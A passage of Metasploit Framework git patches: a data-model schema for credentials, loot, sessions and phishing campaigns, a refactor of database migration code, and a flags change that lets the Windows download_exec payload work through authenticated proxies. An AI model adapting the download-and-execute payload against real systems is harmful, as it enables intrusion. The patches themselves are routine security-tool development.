t.integer "campaign_id" + end + + create_table "attachments_email_templates", :id => false, :force => true do |t| + t.integer "attachment_id" + t.integer "email_template_id" + end + + create_table "campaigns", :force => true do |t| + t.integer "workspace_id", :null => false + t.string "name", :limit => 512 + t.text "prefs" + t.integer "status", :default => 0 + t.datetime "started_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "clients", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.string "ua_string", :limit => 1024, :null => false + t.string "ua_name", :limit => 64 + t.string "ua_ver", :limit => 32 + t.datetime "updated_at" + t.integer "campaign_id" + end + + create_table "creds", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "user", :limit => 2048 + t.string "pass", :limit => 4096 + t.boolean "active", :default => true + t.string "proof", :limit => 4096 + t.string "ptype", :limit => 256 + t.integer "source_id" + t.string "source_type" + end + + create_table "email_addresses", :force => true do |t| + t.integer "campaign_id", :null => false + t.string "first_name", :limit => 512 + t.string "last_name", :limit => 512 + t.string "address", :limit => 512 + t.boolean "sent", :default => false, :null => false + t.datetime "clicked_at" + end + + create_table "email_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "subject", :limit => 1024 + t.text "body" + t.integer "parent_id" + t.integer "campaign_id" + t.text "prefs" + end + + create_table "events", :force => true do |t| + t.integer "workspace_id" + t.integer "host_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.string "username" + t.text "info" + end + + create_table "exploit_attempts", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.integer "port" + t.string "proto" + t.text "fail_detail" + end + + create_table "exploited_hosts", :force => true do |t| + t.integer "host_id", :null => false + t.integer "service_id" + t.string "session_uuid", :limit => 8 + t.string "name", :limit => 2048 + t.string "payload", :limit => 2048 + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "host_details", :force => true do |t| + t.integer "host_id" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "src" + t.string "nx_site_name" + t.string "nx_site_importance" + t.string "nx_scan_template" + t.float "nx_risk_score" + end + + create_table "hosts", :force => true do |t| + t.datetime "created_at" + t.string "address", :limit => nil + t.string "mac" + t.string "comm" + t.string "name" + t.string "state" + t.string "os_name" + t.string "os_flavor" + t.string "os_sp" + t.string "os_lang" + t.string "arch" + t.integer "workspace_id" + t.datetime "updated_at" + t.text "purpose" + t.string "info", :limit => 65536 + t.text "comments" + t.text "scope" + t.text "virtual_host" + t.integer "note_count", :default => 0 + t.integer "vuln_count", :default => 0 + t.integer "service_count", :default => 0 + t.integer "host_detail_count", :default => 0 + t.integer "exploit_attempt_count", :default => 0 + end + + add_index "hosts", ["address"], :name => "index_hosts_on_address" + add_index "hosts", ["name"], :name => "index_hosts_on_name" + add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" + add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" + add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" + add_index "hosts", ["state"], :name => "index_hosts_on_state" + + create_table "hosts_tags", :id => false, :force => true do |t| + t.integer "host_id" + t.integer "tag_id" + end + + create_table "imported_creds", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "user", :limit => 512 + t.string "pass", :limit => 512 + t.string "ptype", :limit => 16, :default => "password" + end + + create_table "listeners", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "workspace_id", :default => 1, :null => false + t.integer "task_id" + t.boolean "enabled", :default => true + t.text "owner" + t.text "payload" + t.text "address" + t.integer "port" + t.binary "options" + t.text "macro" + end + + create_table "loots", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.integer "host_id" + t.integer "service_id" + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 + t.text "data" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "content_type" + t.text "name" + t.text "info" + end + + create_table "macros", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "owner" + t.text "name" + t.text "description" + t.binary "actions" + t.binary "prefs" + end + + create_table "mod_refs", :force => true do |t| + t.string "module", :limit => 1024 + t.string "mtype", :limit => 128 + t.text "ref" + end + + create_table "module_actions", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id" + + create_table "module_archs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id" + + create_table "module_authors", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + t.text "email" + end + + add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id" + + create_table "module_details", :force => true do |t| + t.datetime "mtime" + t.text "file" + t.string "mtype" + t.text "refname" + t.text "fullname" + t.text "name" + t.integer "rank" + t.text "description" + t.string "license" + t.boolean "privileged" + t.datetime "disclosure_date" + t.integer "default_target" + t.text "default_action" + t.string "stance" + t.boolean "ready" + end + + add_index "module_details", ["description"], :name => "index_module_details_on_description" + add_index "module_details", ["mtype"], :name => "index_module_details_on_mtype" + add_index "module_details", ["name"], :name => "index_module_details_on_name" + add_index "module_details", ["refname"], :name => "index_module_details_on_refname" + + create_table "module_mixins", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id" + + create_table "module_platforms", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id" + + create_table "module_refs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id" + add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + + create_table "module_targets", :force => true do |t| + t.integer "module_detail_id" + t.integer "index" + t.text "name" + end + + add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id" + + create_table "nexpose_consoles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "enabled", :default => true + t.text "owner" + t.text "address" + t.integer "port", :default => 3780 + t.text "username" + t.text "password" + t.text "status" + t.text "version" + t.text "cert" + t.binary "cached_sites" + t.text "name" + end + + create_table "notes", :force => true do |t| + t.datetime "created_at" + t.string "ntype", :limit => 512 + t.integer "workspace_id", :default => 1, :null => false + t.integer "service_id" + t.integer "host_id" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.text "data" + end + + add_index "notes", ["ntype"], :name => "index_notes_on_ntype" + + create_table "profiles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "active", :default => true + t.text "name" + t.text "owner" + t.binary "settings" + end + + create_table "refs", :force => true do |t| + t.integer "ref_id" + t.datetime "created_at" + t.string "name", :limit => 512 + t.datetime "updated_at" + end + + add_index "refs", ["name"], :name => "index_refs_on_name" + + create_table "report_templates", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "path", :limit => 1024 + t.text "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "reports", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "rtype" + t.string "path", :limit => 1024 + t.text "options" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.datetime "downloaded_at" + t.integer "task_id" + t.string "name", :limit => 63 + end + + create_table "routes", :force => true do |t| + t.integer "session_id" + t.string "subnet" + t.string "netmask" + end + + create_table "services", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.integer "port", :null => false + t.string "proto", :limit => 16, :null => false + t.string "state" + t.string "name" + t.datetime "updated_at" + t.text "info" + end + + add_index "services", ["name"], :name => "index_services_on_name" + add_index "services", ["port"], :name => "index_services_on_port" + add_index "services", ["proto"], :name => "index_services_on_proto" + add_index "services", ["state"], :name => "index_services_on_state" + + create_table "session_events", :force => true do |t| + t.integer "session_id" + t.string "etype" + t.binary "command" + t.binary "output" + t.string "remote_path" + t.string "local_path" + t.datetime "created_at" + end + + create_table "sessions", :force => true do |t| + t.integer "host_id" + t.string "stype" + t.string "via_exploit" + t.string "via_payload" + t.string "desc" + t.integer "port" + t.string "platform" + t.text "datastore" + t.datetime "opened_at", :null => false + t.datetime "closed_at" + t.string "close_reason" + t.integer "local_id" + t.datetime "last_seen" + end + + create_table "tags", :force => true do |t| + t.integer "user_id" + t.string "name", :limit => 1024 + t.text "desc" + t.boolean "report_summary", :default => false, :null => false + t.boolean "report_detail", :default => false, :null => false + t.boolean "critical", :default => false, :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "tasks", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "module" + t.datetime "completed_at" + t.string "path", :limit => 1024 + t.string "info" + t.string "description" + t.integer "progress" + t.text "options" + t.text "error" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "result" + t.string "module_uuid", :limit => 8 + t.binary "settings" + end + + create_table "users", :force => true do |t| + t.string "username" + t.string "crypted_password" + t.string "password_salt" + t.string "persistence_token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "fullname" + t.string "email" + t.string "phone" + t.string "company" + t.string "prefs", :limit => 524288 + t.boolean "admin", :default => true, :null => false + end + + create_table "vuln_attempts", :force => true do |t| + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.text "fail_detail" + end + + create_table "vuln_details", :force => true do |t| + t.integer "vuln_id" + t.float "cvss_score" + t.string "cvss_vector" + t.string "title" + t.text "description" + t.text "solution" + t.binary "proof" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "nx_vuln_id" + t.float "nx_severity" + t.float "nx_pci_severity" + t.datetime "nx_published" + t.datetime "nx_added" + t.datetime "nx_modified" + t.text "nx_tags" + t.text "nx_vuln_status" + t.text "nx_proof_key" + t.string "src" + t.integer "nx_scan_id" + t.datetime "nx_vulnerable_since" + t.string "nx_pci_compliance_status" + end + + create_table "vulns", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.string "info", :limit => 65536 + t.datetime "exploited_at" + t.integer "vuln_detail_count", :default => 0 + t.integer "vuln_attempt_count", :default => 0 + end + + add_index "vulns", ["name"], :name => "index_vulns_on_name" + + create_table "vulns_refs", :id => false, :force => true do |t| + t.integer "ref_id" + t.integer "vuln_id" + end + + create_table "web_forms", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.string "method", :limit => 1024 + t.text "params" + t.text "query" + end + + add_index "web_forms", ["path"], :name => "index_web_forms_on_path" + + create_table "web_pages", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.text "query" + t.integer "code", :null => false + t.text "cookie" + t.text "auth" + t.text "ctype" + t.datetime "mtime" + t.text "location" + t.text "headers" + t.binary "body" + t.binary "request" + end + + add_index "web_pages", ["path"], :name => "index_web_pages_on_path" + add_index "web_pages", ["query"], :name => "index_web_pages_on_query" + + create_table "web_sites", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "vhost", :limit => 2048 + t.text "comments" + t.text "options" + end + + add_index "web_sites", ["comments"], :name => "index_web_sites_on_comments" + add_index "web_sites", ["options"], :name => "index_web_sites_on_options" + add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost" + + create_table "web_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "title", :limit => 512 + t.string "body", :limit => 524288 + t.integer "campaign_id" + t.text "prefs" + end + + create_table "web_vulns", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path", :null => false + t.string "method", :limit => 1024, :null => false + t.text "params", :null => false + t.text "pname", :null => false + t.integer "risk", :null => false + t.string "name", :limit => 1024, :null => false + t.text "query" + t.text "category", :null => false + t.text "confidence", :null => false + t.text "description" + t.text "blame" + t.binary "request" + t.binary "proof", :null => false + t.string "owner" + t.text "payload" + end + + add_index "web_vulns", ["method"], :name => "index_web_vulns_on_method" + add_index "web_vulns", ["name"], :name => "index_web_vulns_on_name" + add_index "web_vulns", ["path"], :name => "index_web_vulns_on_path" + + create_table "wmap_requests", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.string "meth", :limit => 32 + t.text "path" + t.text "headers" + t.text "query" + t.text "body" + t.string "respcode", :limit => 16 + t.text "resphead" + t.text "response" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "wmap_targets", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.integer "selected" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "workspace_members", :id => false, :force => true do |t| + t.integer "workspace_id", :null => false + t.integer "user_id", :null => false + end + + create_table "workspaces", :force => true do |t| + t.string "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "boundary", :limit => 4096 + t.string "description", :limit => 4096 + t.integer "owner_id" + t.boolean "limit_to_network", :default => false, :null => false + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/lib/base64_serializer_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb index 66d1de6804..32b4bef890 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb @@ -11,6 +11,8 @@ Bundler.require(:default, :test) # full backtrace in logs so its easier to trace errors Rails.backtrace_cleaner.remove_silencers! +require 'simplecov' + # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. support_glob = MetasploitDataModels.root.join('spec', 'support', '**', '*.rb') diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec similarity index 72% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec index 7b728268c3..a88f2d9cd0 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.3.0" + s.version = "0.5.1" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2012-11-01" + s.date = "2013-03-01" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] @@ -21,20 +21,26 @@ Gem::Specification.new do |s| if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_development_dependency(%q, [">= 0"]) - s.add_runtime_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_runtime_dependency(%q, [">= 3.2.10"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) end else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) From af4b3fa287e3d642c5d1bcc995b0ac89803b1a40 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Sat, 2 Mar 2013 20:33:48 -0600 Subject: [PATCH 401/448] Use ActiveRecord::Migrator multiple migrations paths support [#44034071] ActiveRecord::Migrator has a class attribute, migrations_paths, specificially for storing a list of different directories that have migrations in them. ActiveRecord::Migrator.migrations_paths is used in rake db:load_config, which is a dependency of db:migrate, etc. that is passed to ActiveRecord::Migrator.migrate. Since migrate supports an array of directories, and not just a single directory, there is no need to merge all the migrations paths into one temporary directory as was previously done. --- lib/msf/core/db_manager.rb | 75 ++++++++++++++---------------------- lib/msf/ui/console/driver.rb | 4 +- 2 files changed, 31 insertions(+), 48 deletions(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 42974b229a..287442150b 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -56,9 +56,6 @@ class DBManager # Flag to indicate database migration has completed attr_accessor :migrated - # Array of additional migration paths - attr_accessor :migration_paths - # Flag to indicate that modules are cached attr_accessor :modules_cached @@ -69,7 +66,6 @@ class DBManager self.framework = framework self.migrated = false - self.migration_paths = [] self.modules_cached = false self.modules_caching = false @@ -82,17 +78,17 @@ class DBManager end initialize_database_support - - # have to set migration paths after initialize_database_support as it loads - # MetasploitDataModels. - self.migration_paths << MetasploitDataModels.root.join('db', 'migrate').to_s end - # - # Add additional migration paths - # - def add_migration_path(path) - self.migration_paths.push(path) + def initialize_metasploit_data_models + # Provide access to ActiveRecord models shared w/ commercial versions + require "metasploit_data_models" + + metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( + 'db', + 'migrate' + ) + ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s end # @@ -105,8 +101,7 @@ class DBManager require "active_record" - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + initialize_metasploit_data_models # Patches issues with ActiveRecord require "msf/core/patches/active_record" @@ -283,45 +278,31 @@ class DBManager end end + # Migrate database to latest schema version. # - # Migrate database to latest schema version + # @param verbose [Boolean] see ActiveRecord::Migration.verbose + # @return [Array] List of migrations that ran. # + # @see ActiveRecord::Migrator.migrate def migrate(verbose=false) + ran = [] + ActiveRecord::Migration.verbose = verbose - temp_dir = ::File.expand_path(::File.join( Msf::Config.config_directory, "schema", "#{Time.now.to_i}_#{$$}" )) - ::FileUtils.rm_rf(temp_dir) - ::FileUtils.mkdir_p(temp_dir) - - self.migration_paths.each do |mpath| - dir = Dir.new(mpath) rescue nil - if not dir - elog("Could not access migration path #{mpath}") - next - end - - dir.entries.each do |ent| - next unless ent =~ /^\d+.*\.rb$/ - ::FileUtils.cp( ::File.join(mpath, ent), ::File.join(temp_dir, ent) ) + ActiveRecord::Base.connection_pool.with_connection do + begin + ran = ActiveRecord::Migrator.migrate( + ActiveRecord::Migrator.migrations_paths + ) + # ActiveRecord::Migrator#migrate rescues all errors and re-raises them as + # StandardError + rescue StandardError => error + self.error = error + elog("DB.migrate threw an exception: #{error}") + dlog("Call stack:\n#{error.backtrace.join "\n"}") end end - success = true - begin - - ::ActiveRecord::Base.connection_pool.with_connection { - ActiveRecord::Migration.verbose = verbose - ActiveRecord::Migrator.migrate(temp_dir, nil) - } - rescue ::Exception => e - self.error = e - elog("DB.migrate threw an exception: #{e}") - dlog("Call stack:\n#{e.backtrace.join "\n"}") - success = false - end - - ::FileUtils.rm_rf(temp_dir) - - return true + return ran end def workspace=(workspace) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 49d9698482..10c2836a80 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -171,7 +171,9 @@ class Driver < Msf::Ui::Driver # Append any migration paths necessary to bring the database online if opts['DatabaseMigrationPaths'] - opts['DatabaseMigrationPaths'].each {|m| framework.db.add_migration_path(m) } + opts['DatabaseMigrationPaths'].each do |migrations_path| + ActiveRecord::Migrator.migrations_paths << migrations_path + end end # Look for our database configuration in the following places, in order: From c9a162ac33551372096fd0e1f3b3c7877eec6a0e Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Sat, 2 Mar 2013 21:09:45 -0600 Subject: [PATCH 402/448] Correct return type of Msf::DBManager#migrate. --- lib/msf/core/db_manager.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 287442150b..6b54c9f7a9 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -281,7 +281,7 @@ class DBManager # Migrate database to latest schema version. # # @param verbose [Boolean] see ActiveRecord::Migration.verbose - # @return [Array] List of migrations that ran. + # @return [Array Date: Sat, 2 Mar 2013 21:16:02 -0600 Subject: [PATCH 403/448] Document Msf::DBManager#initialize_metasploit_data_models --- lib/msf/core/db_manager.rb | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 6b54c9f7a9..726eb682f7 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -80,17 +80,6 @@ class DBManager initialize_database_support end - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" - - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s - end - # # Do what is necessary to load our database support # @@ -166,6 +155,20 @@ class DBManager $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end + # Loads Metasploit Data Models and adds its migrations to migrations paths. + # + # @return [void] + def initialize_metasploit_data_models + # Provide access to ActiveRecord models shared w/ commercial versions + require "metasploit_data_models" + + metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( + 'db', + 'migrate' + ) + ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s + end + # # Create a new database sink and initialize it # From ecdb884b1326afa6bcb82b8d6074e7e0f32119c7 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 3 Mar 2013 01:42:17 -0500 Subject: [PATCH 404/448] Make download_exec work with authenticated proxies Adds INTERNET_FLAG_KEEP_CONNECTION to HttpOpenRequest flags to allow download_exec to transparently authenticate to a proxy device through wininet. Fun trivia, Windows 7 systems uses Connection: keep-alive by default. This flag benefits older targets (e.g., Windows XP). --- modules/payloads/singles/windows/download_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 3d6b096e57..68928dc730 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -46,6 +46,7 @@ module Metasploit3 #;0x80000000 | ; INTERNET_FLAG_RELOAD #;0x04000000 | ; INTERNET_NO_CACHE_WRITE #;0x00800000 | ; INTERNET_FLAG_SECURE + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID @@ -89,7 +90,7 @@ module Metasploit3 if target_uri =~ /^http:/ proto = "http" port_nr = 80 - dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" end if target_uri =~ /^ftp:/ From 1cc49f75f52fd9ed7c4e1c11a7ac8c8a5206a596 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 3 Mar 2013 03:26:43 -0500 Subject: [PATCH 405/448] move flag comment to where it's used. --- modules/payloads/singles/windows/download_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 68928dc730..d0d68fe3b1 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -46,7 +46,6 @@ module Metasploit3 #;0x80000000 | ; INTERNET_FLAG_RELOAD #;0x04000000 | ; INTERNET_NO_CACHE_WRITE #;0x00800000 | ; INTERNET_FLAG_SECURE - #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID @@ -91,6 +90,7 @@ module Metasploit3 proto = "http" port_nr = 80 dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION end if target_uri =~ /^ftp:/ From 76180f22fcb5a69e12239278783ab37db5d5143b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 3 Mar 2013 13:23:21 +0100 Subject: [PATCH 406/448] added module for cve-2012-4284 --- 